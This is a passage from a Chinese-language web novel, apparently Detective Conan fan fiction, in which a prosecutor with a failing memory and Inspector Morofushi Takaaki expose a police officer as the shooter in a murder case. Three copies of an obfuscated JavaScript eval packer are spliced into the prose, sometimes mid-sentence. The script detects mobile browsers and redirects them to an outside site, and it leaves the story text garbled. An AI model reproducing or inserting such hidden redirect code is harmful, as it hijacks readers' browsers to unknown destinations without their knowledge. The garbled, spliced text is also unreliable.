;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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什么?都到家楼下了他们居然还在车里过了夜? 身体的动作让盖在身上的毯子掉落,柔软的触感让北原浅落一时间不知道该不该叫醒对方。 一定是自己先睡着了,他给自己盖的。 睡着后的男人褪去了几分精英的锐意,添了几分日常的随性。 她这段时间一直避着他,避着去警察本部,但私下里却偷偷收集了一些他手写的材料,不论是哪篇,不论是哪个签名,无一不在印证那样一个事实。 他说喜欢自己,可自己呢,自己喜欢他吗? 她不确定这是喜欢,还是爱屋及乌,甚至是,单纯的情感投射,错把感激当喜欢。 在情感犯错前,在事情不可挽回前,自己千万要保持理智。 不可挽回,对,她的记忆,还能挽回吗? 身边的男人动了动身子,北原浅落连忙收回视线。 “你醒了?”诸伏高明的嗓音略带沙哑,“对不起,昨天本来想叫醒你的,等了会没想到自己也睡着了。” “没事,我昨天晚上睡得很好。” 的确,昨天晚上是近几天难得的踏实好觉。 北原浅落解开安全带:“诸伏警部,我先回去洗漱一下,待会还有案情分析会。” “是。”诸伏高明连忙跟着解开安全带下车。 两人匆匆赶往电梯。 想起昨天的案子,诸伏高明开口询问:“北原检事,现在只有我们两个人,你能告诉我,昨天晚上在现场,你发现了什么吗?” 北原浅落沉默。 电梯在八楼停下。 走出电梯前,北原浅落深吸了口气,缓缓说道:“诸伏警部,如果你是我,在记忆已经不再可靠的情况下,你会选择把这个模糊的发现说出来吗?” “抱歉,我现在,非常怀疑我的记忆。” “我不能把你们带入错误的方向。” 15. 第 15 章 “死者藤原浩二,34岁,目前离婚无业,于昨晚被枪杀于家中客厅,据法医推测,死亡时间大约是晚上九点到十点间。据调查,藤原浩二嗜赌成性,父母还在世时还能为他擦屁股,五年前,他父母去世后,他愈发沉迷赌博,欠的钱越来越多,据估算,他已经欠了将近两千万日元,发现死者的房屋是父母留下来的遗产,也已经于三个月前抵押给银行。” 案情分析会上,上原由衣先给大家介绍了一下死者情况。 “是赌鬼啊,”大和敢助冷哼了一声,“那他的前妻呢?现在还在长野吗?” “没有,他的前妻横山麻美在三年前死了,是自杀身亡。” “自杀?” “是,是因为抑郁症发作自杀。” “她的抑郁症和死者有关吗?”诸伏高明想到一种可能性。 “是的,”中岛纪子在显示屏上给大家展示了从医院调取的就医记录,“根据当时接诊的心理医生的证词,横山麻美婚后常年遭受死者的家暴和心理压迫,导致她产生抑郁症状,直到离婚后还对她产生影响。” “那横山麻美的父母呢?她有兄弟姐妹吗?他们有犯罪动机。”顺着这条线,诸伏高明继续往下问。 “没有,横山麻美是孤儿,她是被横山夫妇从孤儿院领养的,横山夫妇膝下无子,他们在十年前就去世了。” “这样,那线索又断了,”诸伏高明沉思几秒,“那横山麻美的社会关系呢?比如她有没有关系比较好的朋友或者其他爱慕她的人呢?” “这些还在查,横山麻美结婚前是一家外贸公司的文员,但是婚后由于抑郁症的缘故多次犯错后丢了工作,离婚后她在一家便利店兼职收银员,日子过得很艰难。” “接下来我给大家介绍一下现场遗留子弹的情况,”三浦健人站起身,接替中岛纪子继续介绍,“鉴识科那边传来消息,子弹是9毫米的手枪子弹,经过弹道分析,是出自一把半自动手枪,但是和登记备案的枪支都对不上,可能来自黑市。监控方面,凶手很狡猾,且有一定伪装,周围道路的监控都没有发现正面照,电梯里也始终背对监控。” 北原浅落和小野茜坐在一边静静听着警察们各显神通分析案情,不时在笔记本上做记录,目前还不需要检方进行干预。 最后,警方定下接下来的调查方向和人员安排后,会议正式结束,警察们陆陆续续走出会议室。 “北原检事,请等一下。” 北原浅落正要和小野茜走出就被诸伏高明叫住。 北原浅落转身道:“诸伏警部,我们还要回去向部长汇报情况,失陪了。” “一分钟,就一分钟,你早上的问题,我还没告诉你我的回答。” 大概是被他坚定的眼神打动了,又或者是想尽快脱身,北原浅落也分不清是因为什么,总之,她答应了。 “小野桑,请在这等我一下。” 她往走廊的另一侧走了几米,而后停下:“诸伏警部,你可以说了。” “好。” “北原检事,如果我是你,就算记忆不再可靠,我还是会选择把自己不确定的发现说出来。” “为什么?” “因为我相信你,也相信我。” “我虽然不知道你为什么会对你的记忆产生怀疑,但是,我丝毫不怀疑身为检事的你,你的专业能力大家有目共睹,你是名优秀的检事,和警察一样对案件有着灵敏的嗅觉。” “就算你的发现可能不准确,但是,你要相信警方的判断,我们会综合评判,如果因为你单方面的错误发现就让我们的侦察方向跑偏,那么,责任不在你,在我们。” 说完,诸伏高明静静看着北原浅落,等待女孩的回应。 女孩垂眸,长长的睫毛随着眨眼上下颤动。 十几秒后,诸伏高明终于等到了女孩开口。 “诸伏警部,我怀疑,案发现场的书房,少了一样东西。” 诸伏高明愣了一秒:“什么?” 案发现场在封锁后丢了东西,这意味着什么他比谁都清楚,难怪她不肯说。 “所以我说,我可能会把你们带入错误的方向。” “无妨,是不是错误的方向我们之后再研判,是少了什么东西呢?” “我不确定,”北原浅落伸手揉脑袋,几度挣扎后选择坦白,“实不相瞒,我最近一段时间记忆退化得很严重,我记不起来少了的是什么,我甚至不确定它到底有没有少东西。” “记忆退化?”诸伏高明再度惊愕。 “是的,”北原浅落脑袋低垂,盯着地上的脚尖,声音比先前还要轻,“已经退化得很严重了,去医院脑神经科看过了,什么都没查出来,可能就是上天要把这个天赋收回去了吧。” 诸伏高明瞳孔微缩:“是那天的事?” 北原浅落瞬间明白对方问的是哪天:“不不不,不是那天,是那天之后……” 诸伏高明看着面前情绪明显低落的女孩,伸手试探性搭上对方肩膀。 “没关系的,就算你记忆力不像之前那么好了,你依然是一名优秀的检察官,依然是检察厅的王牌。” “我相信你,你更要相信自己。” 北原浅落身体微微一震,就如信息自动检索一般,她的大脑自动精准搜寻到这句话在那些信中的位置。似是有一道力量牵引,她抬起头,撞进他那双深不见底的眼眸里,那里面没有怜悯,没有敷衍,有的只是温柔的肯定与信任。 过去与现在,在当前这个时间点交汇。 她仿佛看到了流动的时间,看到了他与她交织的命运线。 他的话总是能轻而易举让自己去相信。 无论过去还是现在。 “嗯。”北原浅落轻轻点头,半转过身子看向在不远处等待的小野茜,“那,我先走了。” “请等一下,”诸伏高明叫住北原浅落,“如果你之后想起了什么,一定要和我说。” 诸伏高明的眼神郑重非常,北原浅落本想说可能想不起来,话到嘴边转为了一个“好”字。 诸伏高明站在原地看着女孩走远,案发现场在封锁后少了一件东西,如果是真的,确实会牵扯出一个匪夷所思的真相。 得赶紧确定一下昨晚去现场的警方人员名单。 然后,一个一个排查。 * “啊你们回来啦!案子怎么样,凶手有眉目了吗?” 见两人回来,三枝凛趁机从办公椅上站起活动。 “目前还没有,警方还在进一步调查,看起来是个棘手的案子呢。”小野茜将电脑从包里取出放在办公桌上。 “这样,”三枝凛转向北原浅落,“听说昨天案子调查到半夜两点,真是麻烦你了北原桑,你的伤刚好没多久,本来应该是我过去的,但是我孩子昨天晚上突然发烧,我实在走不开。” 北原浅落将包放下,笑着摇头:“没关系的三枝前辈,孩子生病了当然要去照顾陪伴,工作方面有我们呢。” “谢谢你,北原桑。” “不用谢。”北原浅落打开办公桌上的电脑,不免想起自己小时候生病的情形,那时候她也很希望父母能陪她,但是,他们忙于工作,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079010|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算留下来了,耶基本都会趁她睡着后偷偷回去上班。之后,她就不想他们在生病的时候陪她了,因为醒来的时候他们一定不在。 “三枝前辈你完全不用放在心上,这两天就准时下班回去陪你孩子吧,我现在先去找部长汇报一下情况。” “好,你去吧,我十分钟前刚给他送去一份材料,他应该还在。” “嗯。” 北原浅落走出办公桌,经过三枝凛身边时目光不禁落在她办公桌上的照片上,照片上的小女孩扎着两个麻花辫,手里比着耶,笑得很开心。 她刚来的时候就看到了这张照片,三枝凛在空闲的时候还会不时和她们说女儿的趣事,每次谈到女儿,她脸上总是洋溢着笑容。 她的女儿一定很幸福。 北原浅落从照片上收回目光,电光火石间,她脑中闪过一张类似的小女孩照片。 她脚步一顿,再度看向那张照片,在脑海中一遍遍确认自己的记忆。 “小野桑,部长那里你去汇报一下,我突然有点事。” 说完,北原浅落匆匆离开办公室,边走边和诸伏高明打电话。 “诸伏警部,你还在本部吗?我现在过来,我想起——” “先别说。”诸伏高明打断北原浅落,不着痕迹打量着走廊上三三两两经过的同事,“我现在下来,我们在外面说。” 本部外的街道上,北原浅落远远就看到了等在门口的诸伏高明。 “诸伏警部。”北原浅落小跑至诸伏高明面前,确定四周没人后,她小声说道,“我想起来书房少了什么了,是一张照片。” “照片?” “对,是一张小女孩的照片,大概3、4岁,我怀疑是死者的女儿。” “死者的女儿?”诸伏高明抬起右手托着下巴思考,“资料里确实有提到他有个六岁的女儿,三年前离婚的话,时间对得上。” “但是,为什么要把这张照片藏起来呢?这和枪击案有关系吗?再怎么样也不会怀疑到这么小的孩子身上啊,”忽地,北原浅落想到一种可能性,抬头向诸伏高明求证,“除非——” “除非,这张照片会暴露凶手的身份。”诸伏高明替她把后半句补充完整,而后取出手机编辑了几条信息点击发送。 “走吧。”诸伏高明从口袋里取出车钥匙,示意北原浅落走向停车场。 “去哪?” “我让上原去查这个小女孩现在寄养的地方了,我们现在先去横山麻美工作过的外贸公司和便利店调查,看看能不能发现什么线索。” “那本部里的……” “这个就交给敢助君吧,我们分头行动。” 短短十几个小时,再一次,北原浅落坐上诸伏高明的车,窗外密密匝匝的行道树不断后移,窗外的街景在不断后退。 如果在以前,她只这样掠一眼,视线里的一切都会印在脑子里,可现在,一个狭小空间内的物品差异,都需要外物的提醒与点拨。 “没关系的。” 男人的声音忽然响起。 “不要苛责自己,你的记忆已经帮上大忙了,说不定你只是最近太忙、压力太大了,休息一段时间就好了。” 他的声音低沉而平稳,如一颗小石子投入水中,并未激起夸张的涟漪,却落点精准。 北原浅落一怔,而后笑了笑。 “嗯,不过,记忆力太好似乎也不是件好事,就比如昨晚,你和大和警部拦着我不让我看。” “又比如,很多时候,大家都会忘了很多事,只有我一个人记得,就好像我留在了原地一样。” 16. 第 16 章 在外贸公司和便利店调查完,两人按照上原由衣传回的简讯赶往福利院。 横山麻美去世后,她的女儿没有人照料,被社区送往了一家公立的福利院。 “你们是说云香那孩子啊。”院长打开电脑系统,输入横山云香的名字,起身打开办公室里的柜子,按照系统给的编号从中取出一个文件夹。 院长打开文件夹,取出收养文件递给两人:“云香在一年前被群马的一对夫妇收养了,那孩子也是可怜,刚来的时候不声不响,后面我们和医院给她做了许多次心理咨询,再加上这里都是孩子,渐渐地她开朗了不少。” 北原浅落拿过文件夹里的几张照片,照片上的稚嫩面孔与记忆中一闪而过的图片重合:“这是云香在福利院的照片吗?” “是的,”院长指了指其中一张,“这是她刚来的时候,整个人怯生生地,身体也瘦,后面就好多了,你看这几张。” “院长,这孩子的收养人来领养云香时,有什么异常吗?他们是指定要收养云香的吗?”诸伏高明在手机上记下收养人的姓名发给上原由衣。 “没有没有,他们一开始只是想领养一个女孩,我就给他们展示女孩的照片,陪他们看孩子们玩耍,机缘巧合地,午饭的时候云香不小心撞到了他们,他们就这么认识了,之后他们每周都会来,和云香熟悉了之后才正式领养的,是很正常的领养过程。” “这样,那在这之后,您还和他们有联系吗?” “按照惯例,孩子刚被收养的时候,我们是要跟进的,所以在那之后半年我每个月都会对他们进行一次电话回访,我还去他家看过云香两次,看得出来,山口夫妇对云香很好,现在一年过去了,云香应该和正常孩子没什么区别了。” 和院长交流后,诸伏高明要了一份资料的复印件。 “看起来也不像是孩子的养父母那边……”北原浅落和诸伏高明并肩走出福利院。 “是,不过最终还是要调查确认。” “不过,诸伏警官你不觉得奇怪吗?不管是死者还是和他有联系的人,目前为止还没有发现和警方的关联。” 诸伏高明点头:“是,此外,还有一个疑点,如果说那张照片会暴露凶手,那么凶手为什么不在一开始就把它拿走,反而要等我们封锁现场之后冒着被看到的风险偷偷拿走。” “或许是因为他之前不知道书房有那张照片呢?” “也许吧,但是,你到的时候,我们已经在现场二十多分钟了,这说明,凶手在封锁现场后原本也没有拿走照片的打算,是什么让凶手改变了主意呢?” 正当二人思索时,电话铃声突兀响起。 北原浅落连忙接起电话放在耳边。 “是北原女士吗?这里是长野县立医院心理咨询科,距离您预约的心理咨询时间还有不到10分钟,这边看您还没来签到,来问问情况。” 北原浅落慌乱之下瞥了诸伏高明一眼,侧身往一边挪了步:“不好意思,我可能需要晚点,可以吗?” “好,谢谢。” 挂了电话,北原浅落不好意思地开口:“那个,诸伏警部,你先回去吧,我有点事,不回检察厅。” “没事,你去哪?我送你。” 明明是一如既往温和的目光,在她眼中却带了不容拒绝的意味,有一瞬间她都要怀疑他听到电话的内容了。 “县立医院,”在对方开口之前,北原浅落慌忙解释,“之前和你说过了,记忆方面的问题去找过医生,今天只是再去脑神经科检查一遍。” 出乎她的意料,诸伏高明听了之后没有多说什么,吐出一个“好”字就上了车,把她送到医院门口。 匆匆道谢,北原浅落跑进医院门诊大楼。 望着女孩逃走的背影,诸伏高明幽深的目光下暗潮涌动,一如深海的暗流。 他听见了。 “心理咨询”。 * “抱歉抱歉,我来晚了!” 北原浅落一路小跑进入餐厅包厢,三枝凛、小野茜和其他几位同事都已经到齐。 “没关系,大家也都才刚到没多久。”三枝凛笑着摆手,把菜单递过去,“快坐下,这是我们点的菜,看看有没有什么别的想吃的。” 北原浅落粗粗浏览了一边菜品,没有忌口:“都挺好的,我喜欢吃的大家都已经点了。” “那就好,先喝点饮料吧,橙汁?” “好。” 三枝凛给北原浅落倒了杯橙汁,今天晚上的饭局是她攒的,为了感谢同事们前几天对她的照顾。 “北原检事还真是辛苦呢,周五下班还得去出外勤,是上周那起还没侦破的枪击案吗?”一位同事看着刚放下包的北原浅落感叹。 “呀没有啦,是之前遗留下来的一个案子,约好了主治医生核实受害者的病情。”北原浅落摆手“解释”。 “上周发生的枪击案,听说现在还没侦破?” “是的,”小野茜用力点头,“凶手狡猾得很,指纹什么的一点没留下,作案枪支也还没找到。” “大和警部和诸伏警部都出马都还没解决,看来是悬了。” “也不能这么说,”北原浅落身子让了让,看着服务员将菜品放好,“案件的侦破需要时间,哪有什么案子都能立刻破案的,再给他们点时间吧。” “大家快吃吧!”三枝凛招呼着大家动筷,而后头偏向北原浅落揶揄道,“这个案子现在是你在跟,等结案移交公诉了一定也是你负责,又要积累一件大案经验了呢北原桑。” 北原浅落跟着笑了,转而问道:“三枝前辈,你女儿康复了吗?” “是,已经完全康复了,昨天还和同学去游泳了。”谈起女儿,三枝凛笑容加深,“对了对了,她前两天在学校的绘画课上画的画被老师评为优秀了呢,我给你们看!” 说着三枝凛打开手机相册开始翻找,然后立起手机在同事们面前挨个展示了一圈。 “好可爱的小狗!”小野茜感叹,“小美月才七岁就能画得这么好了,三枝桑,你可得好好培养啊!” 北原浅落跟着点头,她从小学习什么的都是顶尖,唯独没有绘画天赋,连火柴人都只能画个马马虎虎。 “是的是的,她还主动和我说下学期要继续去上绘画班。”三枝凛将图片划过,展现了一张女儿的抓拍照。 照片上的小女孩一如既往笑得灿烂动人,抓人眼球。 看着看着,北原浅落笑容逐渐凝滞,刚拿起橙汁的手一抖,杯子翻倒,液体在桌上蔓延。 “小心!”三枝凛眼疾手快拉着北原浅落站起,迅速抽出几张纸巾吸水。 “抱歉。” 北原浅落哆嗦着手帮忙擦桌,脸色止不住发白。 果汁浸透纸巾,接触指尖,湿冷从接触的部位蔓延,顺着经脉,顺着血液,直达心底。 “北原,情感的确是干扰司法认知的根源,但是,检察官也是人,要想剥离情感太难了。” “池田前辈,我会竭尽所能的。” “不,我不是这个意思,我只是想说,当情感与司法产生冲突时,你要做好做艰难抉择的准备。” * “诸伏,大和,上原,有新发现!”三浦健人拿着一份档案袋匆匆步入办公室,招呼另外三人进入一旁的会议室关上门。 “诸伏,你不是让我去调查那天出警的人的背景吗?刚开始大家是都没什么问题,但是,我这两天特地按照你的说法‘过去的故事’去深挖,还真挖到一个点。”三浦健人打开档案袋将其中的资料取出发给三人,“中岛她也是孤儿,而且,和横山麻美是同一家孤儿院的,而且,她们是亲姐妹。” “什么?!”三人大惊,面面相觑。 “三、三浦警部,消息来源可靠吗?她、她们两个看起来也不像啊?”上原由衣难以置信,“这上面说这个孤儿院早在二十年前就停办了,这、这么久远的事,不会搞错了吧?” “我今天下午找到以前孤儿院的院长确认过了,她那边还存有一本孤儿院所有儿童的领养记录,院长对她们两个还有印象,说是孤儿院唯一一对异卵双胞胎。” “我记得,上个月,中岛桑经手了一件非法持有枪支的案件。”诸伏高明说道。 “那又怎么了,就算是这样,也不能说纪子是凶手吧!” “上原,不要激动,”大和敢助拉住上原由衣,“就算她不是凶手,她肯定也对我们隐瞒了什么,得找她问问。” “隐瞒了什么啊!不就是隐瞒了她和横山麻美是姐妹吗?说不定、说不定她自己都不知道这件事!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079011|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上原由衣据理力争。 “如果说,是中岛桑拿走了书房里的那张照片,她为什么要拿走呢?”细细看完手上的资料,诸伏高明提出了一直困扰自己的问题,“从目前的资料来看,那张照片完全无法和她联系起来。” “找中岛桑过来问一下不就行了,”大和敢助走向门口,打开会议室门,“这两天大家都一直在加班,她肯定也还没回去。” “不,她今天晚上不在。”上原由衣回道,“我吃饭前在卫生间碰到她了,她说今天晚上北原约了她吃饭,说是为了答谢之前几起案子提供的帮助。” “这位检事小姐也真是,偏偏这个时间点请。” 仿若所有拼图归位,一切线索都连起来了,刹那间,诸伏高明的心沉了下来,宛若坠入深渊。 “上原,她们在哪吃饭?” * “中岛桑,时间还早,我们走走吧。”结完账,北原浅落约中岛纪子饭后散步。 “好。” 街道两旁,霓虹闪烁,不时传来行人的谈笑声。 “中岛桑,最近你们应该很忙吧?因为那起枪击案的事。” “是,查了这么久,完全没有头绪呢,指纹指纹没有,监控监控不清晰,枪支枪支来源不知道,这案子真的没法查了。”中岛纪子无奈一笑。 北原浅落一顿,在路口拐弯,进入一条相对安静的街道:“中岛桑,你当时在现场有发现吗?书房的架子上少了一张照片。” “照片?”中岛纪子搭在包上的手一紧,面上仍是温和的笑,“没有吧?书房里有照片吗?” “有的,是一张小女孩的照片,是死者的女儿。” “这样啊,那是我的疏忽了。” “不,你没有疏忽,是你把它收起来的。”北原浅落咬了咬嘴唇,声音微微发颤,“中岛桑,我都记起来了,之前有一次,你在手机上给我展示文件时,不小心划到了这个小女孩的照片,我今天下午通过孤儿院院长要到了她近期的照片,我确认是同一个人。你去自首吧。” “自首?”中岛纪子笑出了声,仿佛听到了笑话,“北原桑,你是检察官,应该比我更清楚证据的重要性,毕竟要是警方移交的证据链不清晰完整,可是要被你们驳回来的。北原桑,要定我的罪,你有证据吗?” 北原浅落阖眼叹气:“我今天早上去看守所了。” “我去见了小林秀夫。” “那又怎么了?他不过是我抓捕的众多犯人中的一个。” “他都坦白了,他有一把半自动手枪藏在车后座的暗格里,但是你们清点枪支让他画押的证物里没有那把,出于侥幸心理,他以为警方没有搜查到,就没有主动坦白。这把枪,中岛桑,你私吞了。根据他的供述,这是一把勃朗宁大威力手枪,和警方的鉴定是一致的;同时,他也给出了子弹的购买渠道,我查了子弹的编号,其中一颗和现场遗留的一致。” “而且,最近长野风声这么紧,你因为查案由天天在警局,我想,以你的谨慎,不会轻易处理这把枪,这把枪应该还在你家里吧?” 北原浅落停下脚步,路灯白晃晃的光下,中岛纪子的脸部透着诡异的惨白。 “不,这把枪不在我家里,”中岛纪子从随身的包里掏出一把枪,枪口对准北原浅落胸口,“为了防止意外,我一直随身带着,毕竟谁能想到凶器就在警局,找不到凶器,就永远无法找到犯人。” 北原浅落睁大了双眼,错愕盯着面前表情惨淡的女警。 “北原桑,你不该记起来的。” 极度的惊愕后,北原浅落迎上对方的目光:“中岛桑,我没有和诸伏警部他们说。” “所以,你现在去讲清楚,还算自首,能争取减刑。” “而且,这把枪没有消音器,你开枪之后逃不了的。” “你之后还是会想见云香的吧?” 听到云香的名字,中岛纪子显然有些动容。 突然,一声枪响,中岛纪子手中的枪应声落地。 北原浅落反应过来后急忙一脚踢开,而后看向来人。 她看见诸伏高明举枪对着中岛纪子,神色凝重,眉眼间透着自己从未见过的愤怒。 “中岛纪子警部补,现在以故意杀人罪和非法持有枪支罪正式对你进行逮捕。” 17.第 17 章 “对,赶紧把那几条路设上卡口,给我封死!” 大和敢助对电话那头一阵大叫,不断催促:“上原,开快点,高明那家伙,这次绝对要乱来!” “好。”上原由衣继续踩油门,追赶早已不见踪影的诸伏高明。 “在那里!” 远远地,上原由衣见到歪歪斜斜停在路口的车,急忙刹车减速,刹车片与地面急速摩擦,发出刺耳的噪音。 尚未停稳,忽地,一声枪响划破天际。 “可恶!” 大和敢助冲下车,和上原由衣往巷子里赶去。 跑了几十米,两人见到诸伏高明枪口正对着中岛纪子,中岛纪子手上的鲜血一滴一滴往下滴。 一旁的北原浅落看起来除了受惊外没有受伤。 还好还好。 “上原,别愣着了,手铐。”大和敢助招呼上原由衣上前。 “啊、好。”上原由衣五味杂陈,想从口袋里掏出手铐,却发现自己没有带。 中岛纪子嘴角轻勾,面色出乎意料的平静。 “我不会跑的,带我去本部吧。” “不过在这之前,由衣,先给我几张纸吧,待会要把车弄脏了。” 诸伏高明放下枪,取出手帕将几米外的手枪捡起,递给大和敢助:“接下来交给你了,我要晚点过来。” “嗯,”大和敢助接过手枪,顺着诸伏高明的视线看向北原浅落,“你先忙,我和上原会处理好的。” 看她干嘛? 刚刚从发生的一切中平复过来的北原浅落还没想明白,就被诸伏高明拉着往外走。 “哎诸伏警部,你干嘛!”北原浅落动了动手腕,却发现对方的力气丝毫没有减弱的迹象,甚至只是一味拉着自己往前,都不转头看自己一眼。 “诸伏高明警部,你到底要干嘛!”北原浅落用力一甩,“你弄疼我了!” 终于,诸伏高明停下脚步,松开手,转身望着揉手腕的女孩,眼中晦暗不明,翻涌着极其复杂的情绪,如同冰层之下,蓄势已久的岩浆骤然炸裂。 北原浅落不觉看愣了。 “这种程度都觉得疼了吗?北原浅落检事,是谁给你的勇气独自面对一个持枪的犯罪嫌疑人?” “我——” 她正想开口辩解,诸伏高明再度以咄咄逼人的气势开口。 “还有,北原检事,作为一名检察官,知情不报,差点造成难以挽回的后果,这是多么严重的错误。” “你这么做,极其鲁莽,极其不负责。这不是一位专业的检察官会做的事,你知不知道,这很可能让犯罪嫌疑人有二次犯罪的可能?你知不知道,自己会没命?” 听着听着,北原浅落揉着手腕的动作渐渐停下,虎口脱险的后怕尚未完全退去,自己挣扎后的艰难选择又被对方说得这么一无是处,从未有过的委屈溢满她的胸腔。 在知道中岛纪子是凶手后,她一夜没睡。 检察官的职责告诉她最好的办法是马上告知警方,实施抓捕,可是,近段时间和对方的共事告诉她,对方不是穷凶极恶之徒,抛开这件凶案,她是一位优秀的警察。 可是,抛不开。 但同样抛不开两人的情谊。 或许,在警方查明真相前,劝她自首是最好的办法。 “是,我鲁莽,我不负责。” 北原浅落赌气地别过头,眼眶控制不住变红。 “但是,这也不是诸伏警部能够评判的,检察厅要给我什么处分和你无关。” “再说了,你是我什么人?我爸妈都没这么说过我,你凭什么这么说?” “抱歉,诸伏警部,我不是你的犯人。” 说完,北原浅落就要离开。 刚迈出一步,熟悉的力道再度抓住她的手腕,与之前不同的是,这次,这道力不是往前,而是往后。 她一个趔趄,撞入对方坚硬的怀抱。 时间仿佛在这一刻凝固。 微凉的夜晚此刻燃起一种灼热紧绷的氛围。 诸伏高明的手臂如锁链般环住她的后背,他身体微微前倾,形成一个既保护又禁锢的姿态,将她完全笼罩在自己的气息之下。 方才的激烈争吵随风而散,取而代之的是两人压抑而急促的呼吸声,以及那清晰得无法忽视的心跳声——北原浅落分不清这是他的,还是她的。 她刚想挣扎,却被箍得更紧。 “抱歉,我、我只是有些害怕……” 热气拂过她的耳廓,带来低哑深沉的轻语,掺杂着不为人知的颤抖。 天知道他想明白一切的那一秒有多么害怕。 凶手之所以要临时拿走那张照片是因为她,因为她来了,因为她之前看到过。 一切的变量,都是她。 那一刻,他不再遗憾她的拒绝,不再纠结他们是否有未来。 面对她,他无法说出“人生有死,修短命矣”。 他只想她好好活着。 即使他注定只能在她的生命中短暂路过,那也足够了。 她不会忘了他的,只要他出现过。 他、他在害怕? 北原浅落呼吸一滞。 他是怕自己…… 北原浅落闭上眼睛,先前的所有尖锐语言都堵在了胸口,化作睫毛上无法控制沾染的湿意。 她张开嘴,想说些什么,可说什么呢? 说她不该自作主张约人出来?说她想起来后知情不报?说她其实已经做了最坏的打算,在邮箱里设好了晚上12点的定时邮件? “诸伏警部。” “对不起。” 她的喃喃细若蚊音,不知道对方有没有听见。 不知过了多久,北原浅落察觉到身上的力道卸了,对方后退半步,重新变回了那位理智克制、沉稳可靠的诸伏高明。 “我送你回去。” 北原浅落点头,两人心照不宣地沉默,一路上没有再提刚刚的插曲。 就如同连贯规整的旋律突然漏了几个音符,技艺娴熟的绣娘突然歪了针脚。 这都是意外。 下了车,诸伏高明重返警局。 引擎声逐渐消失,北原浅落提起包步入电梯按下楼层。 金属的冰冷从指尖传来,她忽然想起来,按照程序,她应该去警局做笔录的。 但是他没说,是让自己先休息的意思。 他总是这么、这么…… 这段时间萦绕在自己心头的那种说不清道不明的情绪愈发浓重,像山顶的云雾,一直缭绕着,越来越多,越来越多。 好吧,她承认,她确实贪恋他的怀抱。 * 第二天一早,北原浅落去检察厅和部里说明了情况,而后来到警局做笔录。 大和敢助看向诸伏高明:“你可以吗?” 诸伏高明摇头:“你和三浦去吧。” “行。” 做完笔录,北原浅落觉得身上轻松不少。 池田前辈说得对,这真的是一个极为艰难的抉择,当初的她对此懵懵懂懂,不以为意,只是还没发生在自己头上而已。 也许这会成为她检察职业生涯上的污点,但如果再来一次,北原浅落认为自己会做出同样的选择。 走出门,诸伏高明倚着墙,显然是在等她。 北原浅落放慢脚步,在走廊上慢慢走:“听大和警部和三浦警部说,中岛桑认罪了。” “是,昨晚回来后,她很快就把所有事情交代了。” “我能去看守所看看她吗?” 诸伏高明凝视着她,她坦然迎上:“可以吗?” 几秒后,诸伏高明点头:“如果她愿意见你的话。” 看守所会面室内。 隔着铁窗,北原浅落见到了戴着手铐的中岛纪子,她右手缠着几圈绷带,面带疲惫,但神情已恢复成北原浅落熟悉的那个样子。 “北原桑,对不起,昨天,吓到你了吧。” “是,昨天晚上是我第一次被枪指着呢中岛桑。”北原浅落努力用一种轻快的语调说道。 “对不起,”中岛纪子再次诚挚道歉,“我连累你了,你要背处分了吧?” “你别这么说,这是我自己的选择,没什么连累不连累的。”北原浅落摇头,“处分的话,估计没这么快,得过两天才能下来。” 见对方的目光越发愧疚,北原浅落摆手:“呀啦,别这么看着我,没什么大不了的,应该不至于降职,顶多就是停职一段时间。” “你这个傻瓜……我不值得你这样,”中岛纪子闭眼,手指绻起,“那天案情分析会后,我听到了,你和诸伏警部的谈话。” “听到你说想起少了东西,我心里一惊,甚至已经盘算着怎么处理你了,但是后面又听到你的记忆退化了,我很高兴,我甚至希望你的天赋就此消失,一辈子别再想起来。” 北原浅落一愣,随后释然笑了。 “没关系,这么说来,在我约你吃饭的时候你应该就有所察觉了吧,但是,最后还是……” 她没有把话说全,隐去的内容二人心知肚明。 “你放心吧,我会在里面好好表现的,我还想早日出来和云香见面呢。” “嗯,你一定要早点出来。” “真遗憾,这样的话,你都不能做我的公诉人了。” 北原浅落顺着对方的玩笑往下说:“你应该庆幸公诉人不是我,不然你的律师会输得很惨。” 两人相视一笑。 “话说,你和诸伏警部怎么样了?” “嗯?” 中岛纪子见对方惊讶的模样,不禁一笑。 “虽然说,世上的男人十有八九都不值得托付,但是,诸伏警部算是难得的一位,你看,朝我开的这一枪,多准啊。”中岛纪子抬了抬手,朝北原浅落展示自己受伤的部位。 “我,他……” “对你来说,他年纪是大了点,但是,不是有句话吗?年纪大点知道疼人。” 玩笑结束,中岛纪子正色道:“你就给他一个机会吧。” * 清水玲奈看了下日程表,待会要来的是一位检察官小姐。 这位检察官小姐在她这里接受心理咨询快两周了。 她的情况有些特殊。 俗话说过慧易夭,有时候太聪慧了反而容易太过较真,很多事情是无法泾渭分明的。 快到了预约的时间,清水玲奈惊讶地发现这位检察官小姐抱着束花走了进来。 “清水医生好,这花是送给你的。”北原浅落将花束递给清水玲 